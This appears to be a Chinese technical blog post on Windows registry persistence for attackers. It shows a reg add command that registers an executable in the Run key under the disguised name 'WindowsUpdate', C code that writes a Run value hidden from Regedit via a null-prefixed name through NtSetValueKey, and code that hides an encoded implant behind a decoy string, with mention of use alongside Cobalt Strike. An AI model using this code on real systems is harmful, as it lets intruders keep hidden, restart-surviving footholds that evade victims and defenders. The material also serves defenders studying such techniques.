热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

权限维持——注册表

 文章中,所涉及的知识点,均可在互联网中可找到,之所以写这篇文章,是因为在预览这些知识点时,有不懂的地方,将其进行补全,整理成符合个人阅读习惯的文章。 0x00 前言本文是讨论针对 Windows 注

 

文章中,所涉及的知识点,均可在互联网中可找到,之所以写这篇文章,是因为在预览这些知识点时,有不懂的地方,将其进行补全,整理成符合个人阅读习惯的文章。

 

0x00 前言

本文是讨论针对 Windows 注册表编辑器(Regedit)进行攻击测试的两个例子。这两个测试,是使用 WIndows Native API 对注册表进行创建修改删除等操作,这些操作,单纯的使用 Regedit 查询是查询不到的。

就对这些 “看不见” 的注册表 进行讨论:


  • 常规的注册表驻守;


  • ”隐藏“ 的注册表驻守;

 

0x01 常规持久性技术

最常见的是对注册表的自启动项进行添加修改,注册表位置如下:

HKEY_CURRENT_USER(HKEY_LOCAL_MACHINE)SoftwareMicrosoftWindowsCurrentVersionRun

常用命令:

reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v WindowsUpdate /t REG_SZ /d "C:WindowsTempMicrosoft.exe arg1 arg2" /f

修改完成后,当 Windows 用户登陆 (HKEY_CURRENT_USER 或 HKEY_LOCAL_MACHINE) 时,会运行此键值。所以,将可执行文件路径添加到此 Run 键后,文件在系统重启后将被执行。

因为此键值是最常见的,所以也是大多数的安全厂商的重点关注对象,大多数的安全厂家都能够做到禁止添加异常扫描

当进行 rootkit 排查时,先查看此注册表键值的内容,可以非常简单的可获取恶意的可执行文件的位置。

 

0x02 相关 API

我们接下来查看相关 API :



  • RegOpenKeyExA – 打开指定的注册表项;


  • NtSetValueKey – 创建或替换注册表键值项;


  • ZwQueryValueKey – 读取注册表键值;


  • NtDeleteValueKey – 删除注册表键值;


  • RegCloseKey – 关闭指定注册表项的句柄。

如果使用 Native API ,则需要导入 ntdll.dll

如果使用 Win32 API ,则需要导入 advapi32.dll


2.1、RegOpenKeyExA

打开指定的注册表项。请注意,键名不区分大小写。要对键执行事务处理的注册表操作,请调用 RegOpenKeyTransacted 函数。

函数原型:

需要5个参数,我们只需要关注几个:



  • hKey:打开的注册表项的句柄;


  • lpSubKey:要打开的注册表子项的名称;


  • phkResult:指向变量的指针,该变量接收打开的键的句柄。

如果成功打开,则返回 ERROR_SUCCESS


2.2、NtSetValueKey

此函数用于创建或替换注册表键值项,函数原型为:

需要 6 个参数,我们只需要关注几个:



  • KeyHandle:处理注册表项以为其写入值条目。该句柄是通过成功调用ZwCreateKey或ZwOpenKey创建的;


  • ValueName:指向要为其写入数据的值条目的名称的指针。


  • Data:指向包含值条目数据的调用者分配的缓冲区的指针。



2.3、ZwQueryValueKey

该函数读取注册表键值。其原型为:

需要 6 个参数,我们只需要关注几个:



  • KeyHandle:处理要从中读取值条目的键。该句柄是通过成功调用ZwCreateKey或ZwOpenKey创建的。


  • ValueName:指向要获取其数据的值条目名称的指针。


  • KeyValueInformationClass:类型。


  • ResultLength:指向一个变量的指针,该变量接收 Key 信息的大小(以字节为单位)。

成功返回 STATUS_SUCCESS失败则返回相应的错误代码。

注意: 如果在用户模式下调用此函数,则应使用名称“ NtQueryValueKey ”而不是 “ZwQueryValueKey ”。

 

0x03 隐藏的注册表

本小节是利用了 Regedit 的缺陷,创建了一个特殊的注册表项。由于这个特殊处理隐藏的注册表是使用 WIndows Native API进行的创建、删除,所以单纯的使用 Regedit 是查询不到的。这里并不是说用 API 进行创建就查询不到,而是这个特殊处理的注册表使用 Regedit 查询不到。

Ps:Win32 API 和 Native API 是有差别的。 以下内容是可实现隐藏注册表的根本原因:

在 Win32 API中,以 NULL结尾的字符串被解释为 ANSI(8位)或宽字符(16位)字符串。
在 Native API中,以 NULL结尾的字符串被解释为 Unicode(16位)字符串。
尽管平时这个区别并不重要,但是却带来了一个有趣的情况,举个例子:
当使用 Native API来构造特别的名称时,不能使用 Win32 API来对其进行查询。这是因为作为计数的 Unicode 字符串的名称可以包含 NULL 字符(0),例如 “key”,这个 Unicode 字符串长度为 4,但是在使用 Win32 API 来进行查询,这是因为在 Win32 API 中,“key”字符串的长度为 3,不满足查询条件。

之所以 Regedit 看不到,是因为 Regedit 使用的是 Win32 API

3.1、特殊的 ValueName

我们的注册表键值名称经过特殊构造: 以空字符 ”” 作为开头,后面加上任意字符。对于 Windows 系统,”” (0x0000)会被识别为字符串的结束符,所以在使用 Regedit 对该字符串读取的过程中,遇到开头的 ””,会被解析成结束符,提前截断,导致读取错误。

这个写入的值,在 Regedit 中是无法正常显示,但是在 Windows 系统重新启动时,它会正常执行。这涉及到内核调用机制,不在本文讨论范围内,简单过一下:

用户模式调用本机系统服务是通过 ntdll.dll 来实现的。
表面上,Win32 函数为编程人员提供了大量的 API 接口来实现功能,但这些 Win32 函数只不过是一个 API接口的容器而已,它将 Native API 包装起来,通过系统服务来实现真正的功能,也就是 ntdll.dll 是系统调用接口在用户模式下一个外壳。

所以不影响执行。来看看实现代码:

// HIDDEN_KEY_LENGTH doesn't matter as long as it is non-zero.
// Length is needed to delete the key
#define HIDDEN_KEY_LENGTH 11
void createHiddenRunKey(const WCHAR* runCmd) {
LSTATUS openRet = 0;
NTSTATUS setRet = 0;
HKEY hkResult = NULL;
UNICODE_STRING ValueName = { 0 };
wchar_t runkeyPath[0x100] = L"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
wchar_t runkeyPath_trick[0x100] = L"Run";
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
NtSetValueKey = (_NtSetValueKey)GetProcAddress(hNtdll, "NtSetValueKey");
ValueName.Buffer = runkeyPath_trick;
ValueName.Length = 2 * HIDDEN_KEY_LENGTH;
ValueName.MaximumLength = 0;
if (!(openRet = RegOpenKeyExW(HKEY_CURRENT_USER, runkeyPath, 0, KEY_SET_VALUE, &hkResult))) {
if (!(setRet = NtSetValueKey(hkResult, &ValueName, 0, REG_SZ, (PVOID)runCmd, wcslen(runCmd) * 2))){
printf("SUCCESS setting hidden run value!n");
}else{
printf("FAILURE setting hidden run value! (setRet == 0x%X, GLE() == %d)n", setRet, GetLastError()); RegCloseKey(hkResult);
}
}
else {
printf("FAILURE opening RUN key in registry! (openRet == 0x%X, GLE() == %d)n", openRet, GetLastError());
}
}
void deleteHiddenRunKey() {
UNICODE_STRING ValueName = { 0 };
wchar_t runkeyPath[0x100] = L"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
wchar_t runkeyPath_trick[0x100] = L"Run";
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
NtDeleteValueKey = (_NtDeleteValueKey)GetProcAddress(hNtdll, "NtDeleteValueKey");
ValueName.Buffer = runkeyPath_trick;
ValueName.Length = 2 * HIDDEN_KEY_LENGTH; //this value doesn't matter as long as it is non-zero
ValueName.MaximumLength = 0;
HKEY hkResult = NULL;
if (!RegOpenKeyExW(HKEY_CURRENT_USER, runkeyPath, 0, KEY_SET_VALUE, &hkResult)) {
if (!NtDeleteValueKey(hkResult, &ValueName)) {
printf("SUCCESS deleting hidden run value in registry!n");
}
RegCloseKey(hkResult);
}
}

先看看 createHiddenRunKey


  • 首先是打开 HKEY_CURRENT_USER + runkeyPath 的句柄;

  • 将句柄传递给NtSetValueKey ,而NtSetValueKey传递的是 UNICODE_STRING ValueName


  • ValueName.Buffer 正常情况下是设置为: Run

  • 但是我们这里在前面加了一个或多个空值WCHAR("") ,构造特殊的注册表;

  • 所以 ValueName.Buffer 应该是设置为:Run

deleteHiddenRunKey 就更加简单了


  • 调用 NtDeleteValueKey 将指定键值删除。

编译运行。

HiddenRunKey.exe action=create keyvalue="C:WindowsSystem32calc.exe"

打开注册表进行对此键值进行查询时,则会弹窗提示错误。

点击确定后,内容还是之前的,新添加的内容已经成功隐藏。如果使用导出功能,也是提示错误。

同样,点击确定之后,导出的内容没有刚刚添加的内容。至此,添加的注册表已经成功隐藏,就 看不见 了。重启起效。

当然,期间也会出现一些小问题,比如有时候添加的注册表无法使用NtDeleteValueKey 进行删除,也懒得查找原因了,直接删除 Run(这个表项删除后会自建)。

最后,为了方便配合 Cobalt Strike使用,用 C# 重写以上代码(此重写代码多数取之 SharpHide – 之所以只是多数,是因为我在测试时,发现无论创建什么键值,都会提示错误),但是到 NtQueryValueKey 就中断了,因各种调试出错,而且当前互联网中几乎没找到有关于它的任何信息,唯一可借鉴的地方是 NtQueryValueKey.ps1。(希望有人能将下面的代码补全)

[DllImport("ntdll.dll")]
static extern int NtQueryValueKey(
UIntPtr KeyHandle,
IntPtr ValueName,
KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
IntPtr KeyValueInformation,
UInt32 length,
out UInt32 ResultLength
);
[StructLayout(LayoutKind.Sequential)]
public struct KEY_VALUE_FULL_INFORMATION
{
public UInt32 TitleIndex;
public UInt32 Type;
public UInt32 DataOffset;
public UInt32 DataLength;
public UInt32 NameLength;
[MarshalAs(UnmanagedType.ByValArray, SizeCOnst= 256)]
public char[] Name;
}
Status = NtQueryValueKey(regKeyHandle, ValueNamePtr, KeyValueFullInformation, 0, keyBuffer, out keyBuffer);

效果图:

3.2、特殊的 ValueData

第一种隐藏技术,是针对 ValueName 做的处理。本小节使用的是 Fileless Malware 技术,是有效的针对ValueData 的内容进行处理。

这里使用的是 Fileless Malware 技术,但是在查看键值时,也会像第一种技术一样会提示错误,但是除了指定的可见字符外,会将其他内容进行隐藏。与第一种技术一致,该内容无法导出。

// this writes the binary buffer of the encoded implant to the registry as a sting
// according to winnt.h, REG_SZ is "Unicode nul terminated string"
// When the value is exported, only part of the value will actually be exported.
char decoy[] = "(value not set)";
....
void writeHiddenBuf(char *buf, DWORD buflen, const char *decoy, char *keyName, const char* valueName) {
HKEY hkResult = NULL;
BYTE *buf2 = (BYTE*)malloc(buflen + strlen(decoy) + 1);
strcpy((char*)buf2, decoy);
buf2[strlen(decoy)] = 0;
memcpy(buf2 + strlen(decoy) + 1, buf, buflen);
if (!RegOpenKeyExA(HKEY_CURRENT_USER, keyName, 0, KEY_SET_VALUE, &hkResult))
{
printf("Key opened!n");
LSTATUS lStatus = RegSetValueExA(hkResult, valueName, 0, REG_SZ, (const BYTE *)buf2, buflen + strlen(decoy) + 1);
printf("lStatus == %dn", lStatus);
RegCloseKey(hkResult);
}
free(buf2);
}
void readHiddenBuf(BYTE **buf, DWORD *buflen, const char *decoy, char * keyName, const char* valueName) {
HKEY hkResult = NULL;
LONG nError = RegOpenKeyExA(HKEY_CURRENT_USER, keyName, NULL, KEY_ALL_ACCESS, &hkResult);
RegQueryValueExA(hkResult, valueName, NULL, NULL, NULL, buflen);
*buf = (BYTE*)malloc(*buflen);
RegQueryValueExA(hkResult, valueName, NULL, NULL, *buf, buflen);
RegCloseKey(hkResult);
*buflen -= (strlen(decoy) + 1);
BYTE *buf2 = (BYTE*)malloc(*buflen);
memcpy(buf2, *buf + strlen(decoy) + 1, *buflen);
free(*buf);
*buf = buf2;
}

先看看 writeHiddenBuf


  • decoy 设置成 (value not set)

  • 然后将我们利用Fileless Malware 处理过的 buffer 放在 (value not set)后面

  • 通过 3.1 小节 可知,Regedit 会自动截断,达到隐藏的效果​

只要 RegSetValueExA 传递的 decoy 字符串的长度+隐藏缓冲区的长度,它将把整个缓冲区写入注册表,达到隐藏效果。

 

0x04 参考

InvisibleRegValues_Whitepaper.pdf

渗透技巧——“隐藏”注册表的创建

Hiding Registry keys with PSReflec

SharpHide

Hidden Registry Keys


推荐阅读
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • Java容器中的compareto方法排序原理解析
    本文从源码解析Java容器中的compareto方法的排序原理,讲解了在使用数组存储数据时的限制以及存储效率的问题。同时提到了Redis的五大数据结构和list、set等知识点,回忆了作者大学时代的Java学习经历。文章以作者做的思维导图作为目录,展示了整个讲解过程。 ... [详细]
  • 阿,里,云,物,联网,net,core,客户端,czgl,aliiotclient, ... [详细]
  • Spring特性实现接口多类的动态调用详解
    本文详细介绍了如何使用Spring特性实现接口多类的动态调用。通过对Spring IoC容器的基础类BeanFactory和ApplicationContext的介绍,以及getBeansOfType方法的应用,解决了在实际工作中遇到的接口及多个实现类的问题。同时,文章还提到了SPI使用的不便之处,并介绍了借助ApplicationContext实现需求的方法。阅读本文,你将了解到Spring特性的实现原理和实际应用方式。 ... [详细]
  • 本文介绍了Hyperledger Fabric外部链码构建与运行的相关知识,包括在Hyperledger Fabric 2.0版本之前链码构建和运行的困难性,外部构建模式的实现原理以及外部构建和运行API的使用方法。通过本文的介绍,读者可以了解到如何利用外部构建和运行的方式来实现链码的构建和运行,并且不再受限于特定的语言和部署环境。 ... [详细]
  • 计算机存储系统的层次结构及其优势
    本文介绍了计算机存储系统的层次结构,包括高速缓存、主存储器和辅助存储器三个层次。通过分层存储数据可以提高程序的执行效率。计算机存储系统的层次结构将各种不同存储容量、存取速度和价格的存储器有机组合成整体,形成可寻址存储空间比主存储器空间大得多的存储整体。由于辅助存储器容量大、价格低,使得整体存储系统的平均价格降低。同时,高速缓存的存取速度可以和CPU的工作速度相匹配,进一步提高程序执行效率。 ... [详细]
  • Spring常用注解(绝对经典),全靠这份Java知识点PDF大全
    本文介绍了Spring常用注解和注入bean的注解,包括@Bean、@Autowired、@Inject等,同时提供了一个Java知识点PDF大全的资源链接。其中详细介绍了ColorFactoryBean的使用,以及@Autowired和@Inject的区别和用法。此外,还提到了@Required属性的配置和使用。 ... [详细]
  • 模板引擎StringTemplate的使用方法和特点
    本文介绍了模板引擎StringTemplate的使用方法和特点,包括强制Model和View的分离、Lazy-Evaluation、Recursive enable等。同时,还介绍了StringTemplate语法中的属性和普通字符的使用方法,并提供了向模板填充属性的示例代码。 ... [详细]
  • 全面介绍Windows内存管理机制及C++内存分配实例(四):内存映射文件
    本文旨在全面介绍Windows内存管理机制及C++内存分配实例中的内存映射文件。通过对内存映射文件的使用场合和与虚拟内存的区别进行解析,帮助读者更好地理解操作系统的内存管理机制。同时,本文还提供了相关章节的链接,方便读者深入学习Windows内存管理及C++内存分配实例的其他内容。 ... [详细]
  • 本文介绍了H5游戏性能优化和调试技巧,包括从问题表象出发进行优化、排除外部问题导致的卡顿、帧率设定、减少drawcall的方法、UI优化和图集渲染等八个理念。对于游戏程序员来说,解决游戏性能问题是一个关键的任务,本文提供了一些有用的参考价值。摘要长度为183字。 ... [详细]
  • Servlet多用户登录时HttpSession会话信息覆盖问题的解决方案
    本文讨论了在Servlet多用户登录时可能出现的HttpSession会话信息覆盖问题,并提供了解决方案。通过分析JSESSIONID的作用机制和编码方式,我们可以得出每个HttpSession对象都是通过客户端发送的唯一JSESSIONID来识别的,因此无需担心会话信息被覆盖的问题。需要注意的是,本文讨论的是多个客户端级别上的多用户登录,而非同一个浏览器级别上的多用户登录。 ... [详细]
  • 本文介绍了NetCore WebAPI开发的探索过程,包括新建项目、运行接口获取数据、跨平台部署等。同时还提供了客户端访问代码示例,包括Post函数、服务器post地址、api参数等。详细讲解了部署模式选择、框架依赖和独立部署的区别,以及在Windows和Linux平台上的部署方法。 ... [详细]
  • 本文介绍了Java的集合及其实现类,包括数据结构、抽象类和具体实现类的关系,详细介绍了List接口及其实现类ArrayList的基本操作和特点。文章通过提供相关参考文档和链接,帮助读者更好地理解和使用Java的集合类。 ... [详细]
  • 标题: ... [详细]
  • 本文分析了Wince程序内存和存储内存的分布及作用。Wince内存包括系统内存、对象存储和程序内存,其中系统内存占用了一部分SDRAM,而剩下的30M为程序内存和存储内存。对象存储是嵌入式wince操作系统中的一个新概念,常用于消费电子设备中。此外,文章还介绍了主电源和后备电池在操作系统中的作用。 ... [详细]
author-avatar
honey爱一个人好难
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有